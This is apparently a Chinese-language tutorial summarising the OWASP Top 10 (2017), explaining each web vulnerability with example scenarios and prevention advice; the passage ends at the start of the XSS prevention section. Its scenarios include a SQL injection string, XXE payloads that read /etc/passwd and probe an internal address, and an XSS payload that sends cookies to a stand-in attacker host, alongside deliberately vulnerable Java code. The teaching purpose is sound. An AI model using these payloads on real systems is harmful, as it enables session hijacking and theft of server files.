在學(xué)習(xí)網(wǎng)絡(luò)安全之前,需要總體了解安全趨勢(shì)和常見(jiàn)的Web漏洞,在這里我首推了解OWASP,因?yàn)樗碇鴺I(yè)內(nèi)Web安全漏洞的趨勢(shì);
目錄
一、OWASP簡(jiǎn)介
OWASP Top 10: 2013版至2017版改變了哪些內(nèi)容
二、OWASP Top 10
A1:注入漏洞
A2:失效的身份認(rèn)證
A3:敏感數(shù)據(jù)泄露
A4:XML 外部實(shí)體漏洞(XXE)
A5:失效的訪問(wèn)控制
A6:安全配置錯(cuò)誤漏洞
A7:跨站腳本漏洞(XSS)
A8:不安全的反序列化漏洞
A9:使用含有已知漏洞的組件
A10:不足的日志記錄和監(jiān)控
三、風(fēng)險(xiǎn)因素總結(jié)
一、OWASP簡(jiǎn)介
OWASP(開(kāi)放式web應(yīng)用程序安全項(xiàng)目)關(guān)注web應(yīng)用程序的安全。OWASP這個(gè)項(xiàng)目最有名的,也許就是它的"十大安全隱患列表"。
這個(gè)列表不但總結(jié)了web應(yīng)用程序最可能、最常見(jiàn)、最危險(xiǎn)的十大安全隱患,還包括了如何消除這些隱患的建議。(另外,OWASP還有一些輔助項(xiàng)目和指南來(lái)幫助IT公司和開(kāi)發(fā)團(tuán)隊(duì)來(lái)規(guī)范應(yīng)用程序開(kāi)發(fā)流程和測(cè)試流程,提高web產(chǎn)品的安全性。)
這個(gè)"十大"差不多每隔三年更新一次。
OWASP Top 10改變了哪些內(nèi)容
在過(guò)去的幾年中,應(yīng)用程序的基礎(chǔ)技術(shù)和結(jié)構(gòu)發(fā)生了重大變化:
- 使用node.js和Spring Boot構(gòu)建的微服務(wù)正在取代傳統(tǒng)的單任務(wù)應(yīng)用,微服務(wù)本身具有自己的安全挑戰(zhàn),包括微服務(wù)間互信、容器 工具、保密管理等等。原來(lái)沒(méi)人期望代碼要實(shí)現(xiàn)基于互聯(lián)網(wǎng)的房屋,而現(xiàn)在這些代碼就在API或RESTful服務(wù)的后面,提供給移動(dòng) 應(yīng)用或單頁(yè)應(yīng)用(SPA)的大量使用。代碼構(gòu)建時(shí)的假設(shè),如受信任的調(diào)用等等,再也不存在了。
- 使用JavaScript框架(如:Angular和React)編寫(xiě)的單頁(yè)應(yīng)用程序,允許創(chuàng)建高度模塊化的前端用戶體驗(yàn);原來(lái)交付服務(wù)器端處理 的功能現(xiàn)在變?yōu)橛煽蛻舳颂幚?,但也帶?lái)了安全挑戰(zhàn)。
- JavaScript成為網(wǎng)頁(yè)上最基本的語(yǔ)言。Node.js運(yùn)行在服務(wù)器端,采用現(xiàn)代網(wǎng)頁(yè)框架的Bootstrap、Electron、Angular和React則運(yùn) 行在客戶端。
二、OWASP Top 10
A1:注入漏洞
將不受信任的數(shù)據(jù)作為命令或查詢的一部分發(fā)送到解析器時(shí),會(huì)產(chǎn)生諸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻擊者的惡意數(shù)據(jù)可以誘使解析器在沒(méi)有適當(dāng)授權(quán)的情況下執(zhí)行非預(yù)期命令或訪問(wèn)數(shù)據(jù)。
知識(shí)點(diǎn)簡(jiǎn)介
一些常見(jiàn)的注入,包括:SQL、OS命令、ORM、LDAP和表達(dá)式語(yǔ)言(EL)或OGNL注入。所有解釋器的概念都是相同的。代碼評(píng)審是最有效的檢測(cè)應(yīng)用程序的注入風(fēng)險(xiǎn)的辦法之一,緊隨其后的是對(duì)所有參數(shù)、字段、頭、cookie、JSON和XML數(shù)據(jù)輸入的徹底的DAST掃描。組織可以將SAST和DAST工具添加到CI/CD過(guò)程中,以便于在生產(chǎn)部署之前對(duì)現(xiàn)有或新檢查的代碼進(jìn)行注入問(wèn)題的預(yù)警。
案例場(chǎng)景
- 場(chǎng)景#1:應(yīng)用程序在下面存在脆弱性的SQL語(yǔ)句的構(gòu)造中使用不可信數(shù)據(jù):
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
- 場(chǎng)景#2:同樣的,框架應(yīng)用的盲目信任,仍然可能導(dǎo)致查詢語(yǔ)句的漏洞。(例如:Hibernate查詢語(yǔ)言(HQL)):
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
在這兩個(gè)案例中,攻擊者在瀏覽器中將“id”參數(shù)的值修改成: 'or'1'='1。例如: http://example.com/app/accountView?id=' or '1'='1
這樣查詢語(yǔ)句的意義就變成了從accounts表中返回所有的記錄。更危險(xiǎn)的攻擊可能導(dǎo)致數(shù)據(jù)被篡改甚至是存儲(chǔ)過(guò)程被調(diào)用。
如何防止?
- 防止注入漏洞需要將數(shù)據(jù)與命令語(yǔ)句、查詢語(yǔ)句分隔開(kāi)來(lái)。
- 最佳選擇是使用安全的API,完全避免使用解釋器,或提供參數(shù)化界面的接口,或遷移到ORM或?qū)嶓w框架。
- 注意:當(dāng)參數(shù)化時(shí),存儲(chǔ)過(guò)程仍然可以引入SQL注入,如果PL/SQL或T-SQL將查詢和數(shù)據(jù)連接在一起,或者執(zhí)行帶有立即執(zhí)行或exec()的惡意數(shù)據(jù)。
- 使用正確的或“白名單”的具有恰當(dāng)規(guī)范化的輸入驗(yàn)證方法同樣會(huì)有助于防止注入攻擊,但這不是一個(gè)完整的防御,因?yàn)樵S多應(yīng)用程序在輸入中需要特殊字符,例如文本區(qū)域或移動(dòng)應(yīng)用程序的API。
- 對(duì)于任何剩余的動(dòng)態(tài)查詢,可以使用該解釋器的特定轉(zhuǎn)義語(yǔ)法轉(zhuǎn)義特殊字符。OWASP的Java Encoder和類似的庫(kù)提供了這樣的轉(zhuǎn)義例程。
- 注意:SQL結(jié)構(gòu),比如:表名、列名等無(wú)法轉(zhuǎn)義,因此用戶提供的結(jié)構(gòu)名是非常危險(xiǎn)的。這是編寫(xiě)軟件中的一個(gè)常見(jiàn)問(wèn)題。
- 在查詢中使用LIMIT和其他SQL控件,以防止在SQL注入時(shí)大量地泄露記錄。
A2:失效的身份認(rèn)證
通常,通過(guò)錯(cuò)誤使用應(yīng)用程序的身份認(rèn)證和會(huì)話管理功能,攻擊者能夠破譯密碼、密鑰或會(huì)話令牌,或者利用其它開(kāi)發(fā)缺陷來(lái)暫時(shí)性或永久性冒充其他用戶的身份。
知識(shí)點(diǎn)簡(jiǎn)介
確認(rèn)用戶的身份、身份驗(yàn)證和會(huì)話管理非常重要,這些措施可用于將惡意的未經(jīng)身份驗(yàn)證的攻擊者與授權(quán)用戶進(jìn)行分離。如果您的應(yīng)用程序存在如下問(wèn)題,那么可能存在身份驗(yàn)證的脆弱性:
- 允許密碼填充 (opens new window),這使得攻擊者獲得有效用戶名和密碼的列表。
- 允許暴力破解或其他自動(dòng)攻擊。
- 允許默認(rèn)的、弱的或眾所周知的密碼,例如“Password1”或“admin/admin”。
- 使用弱的或失效的驗(yàn)證憑證,忘記密碼程序,例如“基于知識(shí)的答案”,這是不安全的。
- 使用明文、加密或弱散列密碼(參見(jiàn):A3:2017-敏感數(shù)據(jù)泄露)。
- 缺少或失效的多因素身份驗(yàn)證。
- 暴露URL中的會(huì)話ID(例如URL重寫(xiě))。
- 在成功登錄后不會(huì)更新會(huì)話ID。
- 不正確地使會(huì)話ID失效。當(dāng)用戶不活躍的時(shí)候,用戶會(huì)話或認(rèn)證令牌(特別是單點(diǎn)登錄(SSO)令牌)沒(méi)有正確注銷或失效。
案例場(chǎng)景
- 場(chǎng)景#1:
憑證填充,使用已知密碼的列表,是常見(jiàn)的攻擊。如果應(yīng)用程序不限制身份驗(yàn)證嘗試,則可以將應(yīng)用程序用作密碼oracle,以確定憑證是否有效。
- 場(chǎng)景#2:
大多數(shù)身份驗(yàn)證攻擊都是由于使用密碼作為唯一的因素。依據(jù)最佳實(shí)踐,最新的密碼輪換和復(fù)雜性要求鼓勵(lì)用戶使用、重用以及重用弱密碼。建議組織NIST-800-63中停止這些實(shí)踐,并使用多因素身份驗(yàn)證。
- 場(chǎng)景#3:
應(yīng)用會(huì)話超時(shí)設(shè)置不正確。用戶使用公共計(jì)算機(jī)訪問(wèn)應(yīng)用程序。用戶直接關(guān)閉瀏覽器選項(xiàng)卡就離開(kāi),而不是選擇“注銷”。攻擊者一小時(shí)后使用同一個(gè)瀏覽器瀏覽網(wǎng)頁(yè),而當(dāng)前用戶狀態(tài)仍然是經(jīng)過(guò)身份驗(yàn)證的。
如何防止?
在可能的情況下,實(shí)現(xiàn)多因素身份驗(yàn)證,以防止自動(dòng)、憑證填充、暴力破解和被盜憑據(jù)再利用攻擊。
- 不要使用發(fā)送或部署默認(rèn)的憑證,特別是管理員用戶。
- 執(zhí)行弱密碼檢查,例如測(cè)試新或變更的密碼,以糾正“排名前10000個(gè)弱密碼?(opens new window)” 列表。
- 將密碼長(zhǎng)度、復(fù)雜性和循環(huán)策略與NIST-800-63 B的指導(dǎo)方針的記住秘密?(opens new window),或其他現(xiàn)代的基于證據(jù)的密碼策略相一致。
- 確認(rèn)注冊(cè)、憑據(jù)恢復(fù)和API路徑,通過(guò)對(duì)所有輸出結(jié)果使用相同的消息,用以抵御賬戶枚舉攻擊。
- 限制或逐漸延遲失敗的登錄嘗試。記錄所有失敗信息并在憑據(jù)填充、暴力破解或其他攻擊被檢測(cè)時(shí)提醒管理員。
- 使用服務(wù)器端安全的內(nèi)置會(huì)話管理器,在登錄后生成高度復(fù)雜的新隨機(jī)會(huì)話ID。會(huì)話ID不能在URL中,可以安全地存儲(chǔ)和當(dāng)?shù)浅?、閑置、絕對(duì)超時(shí)后使其失效。
A3:敏感數(shù)據(jù)泄露
許多Web應(yīng)用程序和API都無(wú)法正確保護(hù)敏感數(shù)據(jù),例如:財(cái)務(wù)數(shù)據(jù)、醫(yī)療數(shù)據(jù)和PII數(shù)據(jù)。攻擊者可以通過(guò)竊取或修改未加密的數(shù)據(jù)來(lái)實(shí)施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感數(shù)據(jù)容易受到破壞,因此,我們需要對(duì)敏感數(shù)據(jù)加密,這些數(shù)據(jù)包括:傳輸過(guò)程中的數(shù)據(jù)、存儲(chǔ)的數(shù)據(jù)以及瀏覽器的交互數(shù)據(jù)。
知識(shí)點(diǎn)簡(jiǎn)介
首先你需要確認(rèn)的是哪些數(shù)據(jù)是敏感數(shù)據(jù)(包含:傳輸過(guò)程中的數(shù)據(jù)、存儲(chǔ)數(shù)據(jù))而需要被加密。例如:密碼、信用卡卡號(hào)、醫(yī)療記錄、個(gè)人信息應(yīng)該被加密,特別是隱私法律或條例中規(guī)定需要加密的數(shù)據(jù),如:歐盟《通用數(shù)據(jù)保護(hù)條例》(GDPR)、 屬于“金融數(shù)據(jù)保護(hù)條例”的《支付卡行業(yè)數(shù)據(jù)安全標(biāo)準(zhǔn)》(PICDSS)。對(duì)于這些數(shù)據(jù),要確定:
- 在數(shù)據(jù)傳輸過(guò)程中是否使用明文傳輸? 這和傳輸協(xié)議相關(guān),如:HTTP、SMTP和FTP。外部網(wǎng)絡(luò)流量非常危險(xiǎn)。驗(yàn)證所有的內(nèi)部通信,如:負(fù)載平衡器、Web服務(wù)器或后端系統(tǒng)之間的通信。
- 當(dāng)數(shù)據(jù)被長(zhǎng)期存儲(chǔ)時(shí),無(wú)論存儲(chǔ)在哪里,它們是否都被加密,包含備份數(shù)據(jù)?
- 無(wú)論默認(rèn)條件還是源代碼中,是否還在使用任何舊的或脆弱的加密算法?
- 是否使用默認(rèn)加密密鑰,生成或重復(fù)使用脆弱的加密密鑰,或者缺少恰當(dāng)?shù)拿荑€管理或密鑰回轉(zhuǎn)?
- 是否強(qiáng)制加密敏感數(shù)據(jù),例如:用戶代理(如:瀏覽器)指令和傳輸協(xié)議是否被加密?
- 用戶代理(如:應(yīng)用程序、郵件客戶端)是否未驗(yàn)證服務(wù)器端證書(shū)的有效性?
案例場(chǎng)景
- 場(chǎng)景 #1:
一個(gè)應(yīng)用程序使用自動(dòng)化的數(shù)據(jù)加密系統(tǒng)加密信用卡信息,并存儲(chǔ)在數(shù)據(jù)庫(kù)中。但是,當(dāng)數(shù)據(jù)被檢索時(shí)被自動(dòng)解密,這就使得SQL注入漏洞能夠以明文形式獲得所有信用卡卡號(hào)。
- 場(chǎng)景 #2:
一個(gè)網(wǎng)站上對(duì)所有網(wǎng)頁(yè)沒(méi)有使用或強(qiáng)制使用TLS,或者使用弱加密。攻擊者通過(guò)監(jiān)測(cè)網(wǎng)絡(luò)流量(如:不安全的無(wú)線網(wǎng)絡(luò)),將網(wǎng)絡(luò)連接從HTTPS降級(jí)到HTTP,就可以截取請(qǐng)求并竊取用戶會(huì)話cookie。 之后,攻擊者可以復(fù)制用戶cookie并成功劫持經(jīng)過(guò)認(rèn)證的用戶會(huì)話、訪問(wèn)或修改用戶個(gè)人信息。除此之外,攻擊者還可以更改所有傳輸過(guò)程中的數(shù)據(jù),例如:轉(zhuǎn)款的接接收者。
- 場(chǎng)景 #3:
密碼數(shù)據(jù)庫(kù)使用未加鹽的哈希算法或弱哈希算法去存儲(chǔ)每個(gè)人的密碼。一個(gè)文件上傳漏洞使黑客能夠獲取密碼文件。所有這些未加鹽哈希的密碼通過(guò)彩虹表暴力破解方式破解。 由簡(jiǎn)單或快速散列函數(shù)生成加鹽的哈希,也可以通過(guò)GPU破解。
如何防止?
對(duì)一些需要加密的敏感數(shù)據(jù),應(yīng)該起碼做到以下幾點(diǎn):
- 對(duì)系統(tǒng)處理、存儲(chǔ)或傳輸?shù)臄?shù)據(jù)分類,并根據(jù)分類進(jìn)行訪問(wèn)控制。
- 熟悉與敏感數(shù)據(jù)保護(hù)相關(guān)的法律和條例,并根據(jù)每項(xiàng)法規(guī)要求保護(hù)敏感數(shù)據(jù)。
- 對(duì)于沒(méi)必要存放的、重要的敏感數(shù)據(jù),應(yīng)當(dāng)盡快清除,或者通過(guò)PCI DSS標(biāo)記或攔截。未存儲(chǔ)的數(shù)據(jù)不能被竊取。
- 確保存儲(chǔ)的所有敏感數(shù)據(jù)被加密。
- 確保使用了最新的、強(qiáng)大的標(biāo)準(zhǔn)算法或密碼、參數(shù)、協(xié)議和密匙,并且密鑰管理到位。
- 確保傳輸過(guò)程中的數(shù)據(jù)被加密,如:使用TLC。確保數(shù)據(jù)加密被強(qiáng)制執(zhí)行,如:使用HTTP嚴(yán)格安全傳輸協(xié)議(HSTS?(opens new window)?)。
- 禁止緩存對(duì)包含敏感數(shù)據(jù)的響應(yīng)。
- 確保使用密碼專用算法存儲(chǔ)密碼,如:Argon2?(opens new window)?、?scrypt?(opens new window)?、bcrypt?(opens new window)?或者PBKDF2?(opens new window)?。將工作因素(延遲因素)設(shè)置在可接受范圍。
- 單獨(dú)驗(yàn)證每個(gè)安全配置項(xiàng)的有效性。
A4:XML 外部實(shí)體漏洞(XXE)
許多較早的或配置錯(cuò)誤的XML處理器評(píng)估了XML文件中的外部實(shí)體引用。攻擊者可以利用外部實(shí)體竊取使用URI文件處理器的內(nèi)部文件和共享文件、監(jiān)聽(tīng)內(nèi)部掃描端口、執(zhí)行遠(yuǎn)程代碼和實(shí)施拒絕服務(wù)攻擊。
知識(shí)點(diǎn)簡(jiǎn)介
應(yīng)用程序和特別是基于XML的Web服務(wù)或向下集成,可能在以下方面容易受到攻擊:
- 您的應(yīng)用程序直接接受XML文件或者接受XML文件上傳,特別是來(lái)自不受信任源的文件,或者將不受信任的數(shù)據(jù)插入XML文件,并提交給XML處理器解析。
- 在應(yīng)用程序或基于Web服務(wù)的SOAP中,所有XML處理器都啟用了文檔類型定義(DTDs?(opens new window))。因?yàn)榻肈TD進(jìn)程的確切機(jī)制因處理器而不同,更多資料請(qǐng)參考:《 OWASP Cheat Sheet ‘XXE Prevention‘ 》?(opens new window)。
- 如果為了實(shí)現(xiàn)安全性或單點(diǎn)登錄(SSO),您的應(yīng)用程序使用SAML進(jìn)行身份認(rèn)證。而SAML使用XML進(jìn)行身份確認(rèn),那么您的應(yīng)用程序就容易受到XXE攻擊。
- 如果您的應(yīng)用程序使用第1.2版之前的SOAP,并將XML實(shí)體傳遞到SOAP框架,那么它可能受到XXE攻擊。
- 存在XXE缺陷的應(yīng)用程序更容易受到拒絕服務(wù)攻擊,包括:Billion Laughs 攻擊。
案例場(chǎng)景
大量XXE缺陷已經(jīng)被發(fā)現(xiàn)并被公開(kāi),這些缺陷包括嵌入式設(shè)備的XXE缺陷。 XXE缺陷存在于許多意想不到的地方,這些地方包括深嵌套的依賴項(xiàng)。最簡(jiǎn)單的方法是上傳可被接受的惡意XML文件:
- 場(chǎng)景 #1:攻擊者嘗試從服務(wù)端提取數(shù)據(jù):
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
- 場(chǎng)景 #2:攻擊者通過(guò)將上面的實(shí)體行更改為以下內(nèi)容來(lái)探測(cè)服務(wù)器的專用網(wǎng)絡(luò):
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
- 場(chǎng)景 #3:攻擊者通過(guò)惡意文件執(zhí)行拒絕服務(wù)攻擊:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
如何防止?
開(kāi)發(fā)人員培訓(xùn)是識(shí)別和減少XXE缺陷的關(guān)鍵,此外,防止XXE 缺陷還需要:
- 盡可能使用簡(jiǎn)單的數(shù)據(jù)格式(如:JSON),避免對(duì)敏感數(shù)據(jù)進(jìn)行序列化。
- 及時(shí)修復(fù)或更新應(yīng)用程序或底層操作系統(tǒng)使用的所有XML處理器和庫(kù)。同時(shí),通過(guò)依賴項(xiàng)檢測(cè),將SOAP更新到1.2版本或更高版本。
- 參考《 OWASP Cheat Sheet ‘XXE Prevention‘ 》?(opens new window)在應(yīng)用程序的所有XML解析器中禁用XML外部實(shí)體和DTD進(jìn)程。
- 在服務(wù)器端實(shí)施積極的(“白名單”)輸入驗(yàn)證、過(guò)濾和清理,以防止在XML文檔、標(biāo)題或節(jié)點(diǎn)中出現(xiàn)惡意數(shù)據(jù)。
- 驗(yàn)證XML或XSL文件上傳功能是否使用XSD驗(yàn)證或其他類似驗(yàn)證方法來(lái)驗(yàn)證上傳的XML文件。
- 盡管在許多集成環(huán)境中,手動(dòng)代碼審查是大型、復(fù)雜應(yīng)用程序的最佳選擇,但是SAST?(opens new window)?工具可以檢測(cè)源代碼中的XXE漏洞。如果無(wú)法實(shí)現(xiàn)這些控制,請(qǐng)考慮使用虛擬修復(fù)程序、API安全網(wǎng)關(guān)或Web應(yīng)用程序防火墻( WAF )來(lái)檢測(cè)、監(jiān)控和防止XXE攻 擊。
A5:失效的訪問(wèn)控制
未對(duì)通過(guò)身份驗(yàn)證的用戶實(shí)施恰當(dāng)?shù)脑L問(wèn)控制。攻擊者可以利用這些缺陷訪問(wèn)未經(jīng)授權(quán)的功能或數(shù)據(jù),例如:訪問(wèn)其他用戶的帳戶、查看敏感文件、修改其他用戶的數(shù)據(jù)、更改訪問(wèn)權(quán)限等。
知識(shí)點(diǎn)簡(jiǎn)介
訪問(wèn)控制強(qiáng)制實(shí)施策略,使用戶無(wú)法在其預(yù)期的權(quán)限之外執(zhí)行行為。失敗的訪問(wèn)控制通常導(dǎo)致未經(jīng)授權(quán)的信息泄露、修改或銷毀所有數(shù)據(jù)、或在用戶權(quán)限之外執(zhí)行業(yè)務(wù)功能。常見(jiàn)的訪問(wèn)控制脆弱點(diǎn)包括:
- 通過(guò)修改 URL、內(nèi)部應(yīng)用程序狀態(tài)或 HTML 頁(yè)面繞過(guò)訪問(wèn)控制檢查,或簡(jiǎn)單地使用自定義的 API 攻擊工具。
- 允許將主鍵更改為其他用戶的記錄,例如查看或編輯他人的帳戶。
- 特權(quán)提升。在不登錄的情況下假扮用戶,或以用戶身份登錄時(shí)充當(dāng)管理員。
- 元數(shù)據(jù)操作,如重放或篡改 JWT 訪問(wèn)控制令牌,或作以提升權(quán)限的cookie 或隱藏字段。
- CORS配置錯(cuò)誤允許未授權(quán)的API訪問(wèn)。
- 以未通過(guò)身份驗(yàn)證的用戶身份強(qiáng)制瀏覽的通過(guò)身份驗(yàn)證時(shí)才能看到的頁(yè)面、或作為標(biāo)準(zhǔn)用戶訪問(wèn)具有相關(guān)權(quán)限的頁(yè)面、或API沒(méi)有對(duì)POST、PUT和DELETE強(qiáng)制執(zhí)行訪問(wèn)控制。
案例場(chǎng)景
- 場(chǎng)景 #1:應(yīng)用程序在訪問(wèn)帳戶信息的 SQL調(diào)用中使用了未經(jīng)驗(yàn)證的數(shù)據(jù):
pstmt.setString(1,request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
攻擊者只需修改瀏覽器中的“acct”參數(shù)即可發(fā)送他們想要的任何帳號(hào)信息。如果沒(méi)有正確驗(yàn)證,攻擊者可以訪問(wèn)任何用戶的帳戶。
http://example.com/app/accountInfo?acct=notmyacct
- 場(chǎng)景 #2:攻擊者僅強(qiáng)制瀏覽目標(biāo)URL。管理員權(quán)限是訪問(wèn)管理頁(yè)面所必需的。
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
如果一個(gè)未經(jīng)身份驗(yàn)證的用戶可以訪問(wèn)任何頁(yè)面,那么這是一個(gè)缺陷。如果一個(gè)非管理員權(quán)限的用戶可以訪問(wèn)管理頁(yè)面,那么這同樣也是一個(gè)缺陷。
如何防止?
訪問(wèn)控制只有在受信服務(wù)器端代碼或沒(méi)有服務(wù)器的 API 中有效,這樣這樣攻擊者才無(wú)法修改訪問(wèn)控制檢查或元數(shù)據(jù)。
- 除公有資源外,默認(rèn)情況下拒絕訪問(wèn)。
- 使用一次性的訪問(wèn)控制機(jī)制,并在整個(gè)應(yīng)用程序中不斷重用它們,包括最小化CORS使用。
- 建立訪問(wèn)控制模型以強(qiáng)制執(zhí)行所有權(quán)記錄,而不是接受用戶創(chuàng)建、讀取、更新或刪除的任何記錄。
- 域訪問(wèn)控制對(duì)每個(gè)應(yīng)用程序都是唯一的,但業(yè)務(wù)限制要求應(yīng)由域模型強(qiáng)制執(zhí)行。
- 禁用 Web服務(wù)器目錄列表,并確保文件元數(shù)據(jù)(如:git)不存在于 Web的根目錄中。
- 記錄失敗的訪問(wèn)控制,并在適當(dāng)時(shí)向管理員告警(如:重復(fù)故障)。
- 對(duì)API和控制器的訪問(wèn)進(jìn)行速率限制,以最大限度地降低自動(dòng)化攻擊工具的危害。
- 當(dāng)用戶注銷后,服務(wù)器上的JWT令牌應(yīng)失效。
開(kāi)發(fā)人員和 QA人員應(yīng)包括功能訪問(wèn)控制單元和集成測(cè)試人員。
A6:安全配置錯(cuò)誤漏洞
安全配置錯(cuò)誤是最常見(jiàn)的安全問(wèn)題,這通常是由于不安全的默認(rèn)配置、不完整的臨時(shí)配置、開(kāi)源云存儲(chǔ)、錯(cuò)誤的 HTTP 標(biāo)頭配置以及包含敏感信息的詳細(xì)錯(cuò)誤信息所造成的。因此,我們不僅需要對(duì)所有的操作系統(tǒng)、框架、庫(kù)和應(yīng)用程序進(jìn)行安全配置,而且必須及時(shí)修補(bǔ)和升級(jí)它們。
知識(shí)點(diǎn)簡(jiǎn)介
您的應(yīng)用程序可能受到攻擊,如果應(yīng)用程序是:
- 應(yīng)用程序棧堆的任何部分都缺少適當(dāng)?shù)陌踩庸?,或者云服?wù)的權(quán)限配置錯(cuò)誤。
- 應(yīng)用程序啟用或安裝了不必要的功能(例如:不必要的端口、服務(wù)、網(wǎng)頁(yè)、帳戶或權(quán)限)。
- 默認(rèn)帳戶的密碼仍然可用且沒(méi)有更改。
- 錯(cuò)誤處理機(jī)制向用戶披露堆棧跟蹤或其他大量錯(cuò)誤信息。
- 對(duì)于更新的系統(tǒng),禁用或不安全地配置最新的安全功能。
- 應(yīng)用程序服務(wù)器、應(yīng)用程序框架(如:Struts、Spring、ASP.NET)、庫(kù)文件、數(shù)據(jù)庫(kù)等沒(méi)有進(jìn)行安全配置。
- 服務(wù)器不發(fā)送安全標(biāo)頭或指令,或者未對(duì)服務(wù)器進(jìn)行安全配置。
- 您的應(yīng)用軟件已過(guò)期或易受攻擊(參見(jiàn)A9:2017-使用含有已知漏洞的組件)。
缺少一個(gè)體系的、可重復(fù)的應(yīng)用程序安全配置過(guò)程,系統(tǒng)將處于高風(fēng)險(xiǎn)中。
案例場(chǎng)景
- 場(chǎng)景#1:
應(yīng)用程序服務(wù)器附帶了未從產(chǎn)品服務(wù)器中刪除的應(yīng)用程序樣例。這些樣例應(yīng)用程序具有已知的安全漏洞,攻擊者利用這些漏洞來(lái)攻擊服務(wù)器。如果其中一個(gè)應(yīng)用程序是管理員控制臺(tái),并且沒(méi)有更改默認(rèn)賬戶,攻擊者就可以通過(guò)默認(rèn)密碼登錄,從而接管服務(wù)器。
- 場(chǎng)景#2:
目錄列表在服務(wù)器端未被禁用。攻擊者發(fā)現(xiàn)他們很容易就能列出目錄列表。攻擊者找到并下載所有已編譯的Java類,他們通過(guò)反編譯來(lái)查看代碼。然后,攻擊者在應(yīng)用程序中找到一個(gè)嚴(yán)重的訪問(wèn)控制漏洞。
- 場(chǎng)景#3:
應(yīng)用服務(wù)器配置允許將詳細(xì)的錯(cuò)誤信(如:堆棧跟蹤信息)返回給用戶,這可能會(huì)暴露敏感信息或潛在的漏洞,如:已知含有漏洞的組件的版本信息。
- 場(chǎng)景#4:
云服務(wù)向其他CSP用戶提供默認(rèn)的網(wǎng)絡(luò)共享權(quán)限。這允許攻擊者訪問(wèn)存儲(chǔ)在云端的敏感數(shù)據(jù)。
如何防止?
應(yīng)實(shí)施安全的安裝過(guò)程,包括:
- 一個(gè)可以快速且易于部署在另一個(gè)鎖定環(huán)境的可重復(fù)的加固過(guò)程。開(kāi)發(fā)、質(zhì)量保證和生產(chǎn)環(huán)境都應(yīng)該進(jìn)行相同配置,并且,在每個(gè)環(huán)境中使用不同的密碼。這個(gè)過(guò)程應(yīng)該是自動(dòng)化的,以盡量減少安裝一個(gè)新安全環(huán)境的耗費(fèi)。
- 搭建最小化平臺(tái),該平臺(tái)不包含任何不必要的功能、組件、文檔和示例。移除或不安裝不適用的功能和框架。
- 檢查和修復(fù)安全配置項(xiàng)來(lái)適應(yīng)最新的安全說(shuō)明、更新和補(bǔ)丁,并將其作為更新管理過(guò)程的一部分,(參見(jiàn)A9:2017-使用含有已知漏洞的組件)。在檢查過(guò)程中,應(yīng)特別注意云存儲(chǔ)權(quán)限(如:S3桶權(quán)限)。
- 一個(gè)能在組件和用戶間提供有效的分離和安全性的分段應(yīng)用程序架構(gòu),包括:分段、容器化和云安全組。
- 向客戶端發(fā)送安全指令,如:安全標(biāo)頭?(opens new window)。
- 在所有環(huán)境中能夠進(jìn)行正確安全配置和設(shè)置的自動(dòng)化過(guò)程。
A7:跨站腳本漏洞(XSS)
當(dāng)應(yīng)用程序的新網(wǎng)頁(yè)中包含不受信任的、未經(jīng)恰當(dāng)驗(yàn)證或轉(zhuǎn)義的數(shù)據(jù)時(shí),或者使用可以創(chuàng)建 HTML或JavaScript 的瀏覽器 API 更新現(xiàn)有的網(wǎng)頁(yè)時(shí),就會(huì)出現(xiàn) XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執(zhí)行腳本,并劫持用戶會(huì)話、破壞網(wǎng)站或?qū)⒂脩糁囟ㄏ虻綈阂庹军c(diǎn)。
知識(shí)點(diǎn)簡(jiǎn)介
存在三種XSS類型,通常針對(duì)用戶的瀏覽器:
-
反射式XSS:應(yīng)用程序或API包括未經(jīng)驗(yàn)證和未經(jīng)轉(zhuǎn)義的用戶輸入,作為HTML輸出的一部分。一個(gè)成功的攻擊可以讓攻擊者在受害者的瀏覽器中執(zhí)行任意的HTML和JavaScript。 通常,用戶將需要與指向攻擊者控制頁(yè)面的某些惡意鏈接進(jìn)行交互,例如惡意漏洞網(wǎng)站,廣告或類似內(nèi)容。
-
存儲(chǔ)式XSS:你的應(yīng)用或者API將未凈化的用戶輸入存儲(chǔ)下來(lái)了,并在后期在其他用戶或者管理員的頁(yè)面展示出來(lái)。 存儲(chǔ)型XSS一般被認(rèn)為是高?;驀?yán)重的風(fēng)險(xiǎn)。
-
基于DOM的XSS:會(huì)動(dòng)態(tài)的將攻擊者可控的內(nèi)容加入頁(yè)面的JavaScript框架、單頁(yè)面程序或API存在這種類型的漏洞。理想的來(lái)說(shuō),你應(yīng)該避免將攻擊者可控的數(shù)據(jù)發(fā)送給不安全的JavaScriptAPI。
典型的XSS攻擊可導(dǎo)致盜取session、賬戶、繞過(guò)MFA、DIV替換、對(duì)用戶瀏覽器的攻擊(例如:惡意軟件下載、鍵盤(pán)記錄)以及其他用戶側(cè)的攻擊。
案例場(chǎng)景
場(chǎng)景#1:應(yīng)用程序在下面HTML代碼段的構(gòu)造中使用未經(jīng)驗(yàn)證或轉(zhuǎn)義的不可信的數(shù)據(jù):
(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC“) + "'>";
攻擊者在瀏覽器中修改“CC” 參數(shù)為如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
這個(gè)攻擊導(dǎo)致受害者的會(huì)話ID被發(fā)送到攻擊者的網(wǎng)站,使得攻擊者能夠劫持用戶當(dāng)前會(huì)話
注意:攻擊者同樣能使用跨站腳本攻破應(yīng)用程序可能使用的任何跨站請(qǐng)求偽造(CSRF)防御機(jī)制。CSRF的詳細(xì)情況見(jiàn)2013年版中的A8項(xiàng)。
如何防止?
防止XSS需要將不可信數(shù)據(jù)與動(dòng)態(tài)的瀏覽器內(nèi)容區(qū)分開(kāi)。這可以通過(guò)如下步驟實(shí)現(xiàn):
